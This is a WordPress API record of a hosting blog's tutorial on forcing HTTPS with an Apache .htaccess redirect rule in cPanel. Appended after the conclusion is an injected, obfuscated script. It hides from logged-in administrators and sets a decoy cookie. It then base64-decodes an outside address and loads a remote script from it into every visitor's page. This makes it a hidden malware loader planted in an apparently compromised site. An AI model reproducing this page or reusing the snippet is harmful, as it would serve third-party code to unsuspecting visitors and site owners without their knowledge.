{"id":11435,"date":"2025-05-02T11:39:02","date_gmt":"2025-05-02T05:54:02","guid":{"rendered":"https:\/\/nestnepal.com\/blog\/?p=11435"},"modified":"2026-05-20T20:00:06","modified_gmt":"2026-05-20T14:15:06","slug":"https-using-htaccess-cpanel-step-by-step-guide","status":"publish","type":"post","link":"https:\/\/nestnepal.com\/blog\/index.php\/https-using-htaccess-cpanel-step-by-step-guide\/","title":{"rendered":"How to Force HTTPS Using .htaccess in cPanel (Step-by-Step Guide)"},"content":{"rendered":"<h2><span style=\"font-weight: 400;\">Why HTTPS Matters<\/span><\/h2>\n<p class=\"\" data-start=\"194\" data-end=\"523\">The little padlock in the browser means more than just security\u2014it signals trust, privacy, and professionalism. Using a secure connection ensures your visitors\u2019 data is encrypted and shows search engines that your site is trustworthy. If your site still uses HTTP, you could be hurting both your users and your search visibility.<\/p>\n<p data-start=\"525\" data-end=\"685\"><img decoding=\"async\" class=\"aligncenter wp-image-11444 size-full lazyload\" data-src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/https.webp\" alt=\"HTTPS\" width=\"612\" height=\"408\" data-srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/https.webp 612w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/https-300x200.webp 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/https-380x253.webp 380w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/https-550x367.webp 550w\" data-sizes=\"(max-width: 612px) 100vw, 612px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 612px; --smush-placeholder-aspect-ratio: 612\/408;\" \/><\/p>\n<p class=\"\" data-start=\"525\" data-end=\"685\">This quick guide walks you through redirecting all traffic to a secure version of your site using the <code data-start=\"627\" data-end=\"638\">.htaccess<\/code> file\u2014no advanced technical knowledge required.<\/p>\n<h2><span style=\"font-weight: 400;\">What You\u2019ll Need<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Before we jump in, make sure:<\/span><\/p>\n<p><img decoding=\"async\" class=\"wp-image-11445 alignleft lazyload\" data-src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/ssl-300x300.webp\" alt=\"enable-https\" width=\"168\" height=\"168\" data-srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/ssl-300x300.webp 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/ssl-150x150.webp 150w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/ssl-80x80.webp 80w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/ssl-110x110.webp 110w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/05\/ssl.webp 360w\" data-sizes=\"(max-width: 168px) 100vw, 168px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 168px; --smush-placeholder-aspect-ratio: 168\/168;\" \/><\/p>\n<p><span style=\"font-weight: 400;\">\u2705<\/span>Ensure your domain has an <a href=\"https:\/\/nestnepal.com\/blog\/how-to-activate-free-ssl-certificate-on-cpanel\/\">active SSL certificate<\/a> (check via cPanel or your hosting provider).<\/p>\n<p><span style=\"font-weight: 400;\">\u2705<\/span>Have access to the .htaccess file (via File Manager or FTP).<\/p>\n<p><span style=\"font-weight: 400;\">\u2705<\/span>Make sure your server runs <a href=\"https:\/\/www.apache.org\/\" target=\"_blank\" rel=\"noopener\">Apache<\/a> (common in shared hosting).<\/p>\n<h2><span style=\"font-weight: 400;\">\u00a0<\/span><\/h2>\n<h2><span style=\"font-weight: 400;\">Step-by-Step: Enable HTTPS via .htaccess<\/span><\/h2>\n<h3><span style=\"font-weight: 400;\">\u00a0<strong>Step 1: Access Your .htaccess File<\/strong><\/span><\/h3>\n<h4><span style=\"font-weight: 400;\"><em>Option 1: Using cPanel<\/em><\/span><\/h4>\n<ol>\n<li><span style=\"font-weight: 400;\"> Log in to your <\/span><b>cPanel account<\/b><span style=\"font-weight: 400;\"> (usually via `yourdomain.com\/cpanel`).<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Go to <\/span><b>File Manager<\/b><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Navigate to the `public_html` folder (or your site&#8217;s root folder).<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Click <\/span><b>Settings<\/b><span style=\"font-weight: 400;\"> in the top right corner.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Check <\/span><b>Show Hidden Files (dotfiles)<\/b><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Find `.htaccess`, right-click, and choose <\/span><b>Edit<\/b><span style=\"font-weight: 400;\">.<\/span><\/li>\n<\/ol>\n<h4><span style=\"font-weight: 400;\"><em>Option 2: Using FTP<\/em><\/span><\/h4>\n<ol>\n<li><span style=\"font-weight: 400;\"> Connect to your site using an FTP client like <\/span><b>FileZilla<\/b><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Go to the site\u2019s root directory.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Download `.htaccess` to your computer.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Open it in any text editor (VS Code, Notepad++, etc.).<\/span><\/li>\n<\/ol>\n<h4><b>Don\u2019t see a `.htaccess` file?<\/b><\/h4>\n<p><span style=\"font-weight: 400;\">Create a new file and name it exactly `.htaccess` (with the dot at the start, no extension).<\/span><\/p>\n<h3><span style=\"font-weight: 400;\"><strong>Step 2: Add the Redirect Rule<\/strong><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Paste the following snippet at the <\/span><b>top<\/b><span style=\"font-weight: 400;\"> of your `.htaccess` file:<\/span><\/p>\n<p><em><span style=\"font-weight: 400;\">&#8220;`apache<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">&lt;IfModule mod_rewrite.c&gt;<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">\u00a0\u00a0RewriteEngine On<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">\u00a0\u00a0RewriteCond %{HTTPS} off<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">\u00a0\u00a0RewriteRule ^(.*)$ https:\/\/%{HTTP_HOST}%{REQUEST_URI} [L,R=301]<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">&lt;\/IfModule&gt;<\/span><\/em><\/p>\n<p><em><span style=\"font-weight: 400;\">&#8220;`<\/span><\/em><\/p>\n<p><b>What this does:<\/b><\/p>\n<ul>\n<li>Activates URL rewriting.<\/li>\n<li>Detects if the current request isn\u2019t using HTTPS.<\/li>\n<li>Redirects visitors to the secure version of the page.<\/li>\n<\/ul>\n<h3><span style=\"font-weight: 400;\">\u00a0<strong>Step 3: Save &amp; Upload Changes<\/strong><\/span><\/h3>\n<ul>\n<li><span style=\"font-weight: 400;\">In <\/span><b>cPanel<\/b><span style=\"font-weight: 400;\">, just click <\/span><b>Save Changes<\/b><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">In <\/span><b>FTP<\/b><span style=\"font-weight: 400;\">, upload the updated `.htaccess` file back to your server, replacing the old one.<\/span><\/li>\n<\/ul>\n<h3><strong>Step 4: Test the Redirection<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Visit your site with `http:\/\/yourdomain.com`.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You should <\/span><b>automatically get redirected<\/b><span style=\"font-weight: 400;\"> to `https:\/\/yourdomain.com` and see the <\/span><b>padlock icon<\/b><span style=\"font-weight: 400;\"> in the browser.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If it\u2019s working, congrats, you\u2019ve just secured your website!<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">Troubleshooting Common Issues<\/span><\/h2>\n<h3><b>Redirection not working?<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">\u00a0Ensure `mod_rewrite` is enabled (contact your hosting provider if unsure).<\/span><\/p>\n<h3><b>500 Internal Server Error?<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">\u00a0 There may be a typo in your `.htaccess` file. Double-check the syntax.<\/span><\/p>\n<h3><b>Still showing HTTP?<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">\u00a0 Clear your browser cache or test in Incognito Mode.<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\u00a0Bonus Tips<\/span><\/h2>\n<ul>\n<li><span style=\"font-weight: 400;\">Forcing HTTPS is great for SEO. Google gives preference to secure sites.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Combine this with HSTS (HTTP Strict Transport Security) if you want browsers to remember to always use HTTPS.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Always back up your `.htaccess` file before editing.<\/span><\/li>\n<\/ul>\n<h2><span style=\"font-weight: 400;\">FAQs:<\/span><\/h2>\n<h3>1. What is HTTPS, and why does it matter?<\/h3>\n<p>It encrypts the connection between your server and visitors, protecting data and improving your website\u2019s credibility and SEO.<\/p>\n<h3>2. Do I need an SSL certificate?<\/h3>\n<p>Yes. Without one, HTTPS redirection won\u2019t work. Check or install SSL through your cPanel or hosting dashboard.<\/p>\n<h3>3. How do I confirm SSL is installed?<\/h3>\n<p>Visit your site using https:\/\/. A padlock icon in the browser bar means SSL is active.<\/p>\n<h3>4. Can I redirect without cPanel?<\/h3>\n<p>Absolutely. Use FTP to access and modify your .htaccess file, then upload it back to your server.<\/p>\n<h3>5. Is it risky to edit .htaccess manually?<\/h3>\n<p>It\u2019s safe if you&#8217;re cautious. Always back it up first. One wrong character can cause server errors.<\/p>\n<h3>6. Why is my site still showing HTTP?<\/h3>\n<p>Try refreshing in Incognito or clearing your browser cache. If that fails, check that mod_rewrite is enabled.<\/p>\n<h3>7. Is HTTPS beneficial for SEO?<\/h3>\n<p>Yes, search engines prioritize secure sites. Users also feel safer, which improves engagement.<\/p>\n<h3>8. What\u2019s the role of HSTS?<\/h3>\n<p>HSTS ensures browsers always use a secure connection for future visits. Implement it after confirming your site runs smoothly on HTTPS.<\/p>\n<h3>9. Should I update my internal links?<\/h3>\n<p>Yes. Direct links to https:\/\/ prevent mixed content warnings and improve performance.<\/p>\n<h2><span style=\"font-weight: 400;\">\u00a0Conclusion<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Enabling HTTPS via `.htaccess` is a quick win that makes your site more secure, trustworthy, and performant. Whether you&#8217;re running a simple blog or an online store, switching to HTTPS is no longer optional &#8211; it&#8217;s <\/span><b>a must<\/b><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Why HTTPS Matters The little padlock in the browser means more than just security\u2014it signals trust, privacy, and professionalism. Using a secure connection ensures your visitors\u2019 data is encrypted and shows search engines that your site is trustworthy. If your site still uses HTTP, you could be hurting both your users and your search visibility. [&hellip;]<\/p>\n","protected":false},"author":15,"featured_media":11923,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[369,205,112],"tags":[],"class_list":["post-11435","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cms","category-control-panel","category-wordpress-hosting"],"_links":{"self":[{"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/posts\/11435","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=11435"}],"version-history":[{"count":7,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/posts\/11435\/revisions"}],"predecessor-version":[{"id":13941,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/posts\/11435\/revisions\/13941"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/media\/11923"}],"wp:attachment":[{"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=11435"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=11435"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=11435"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}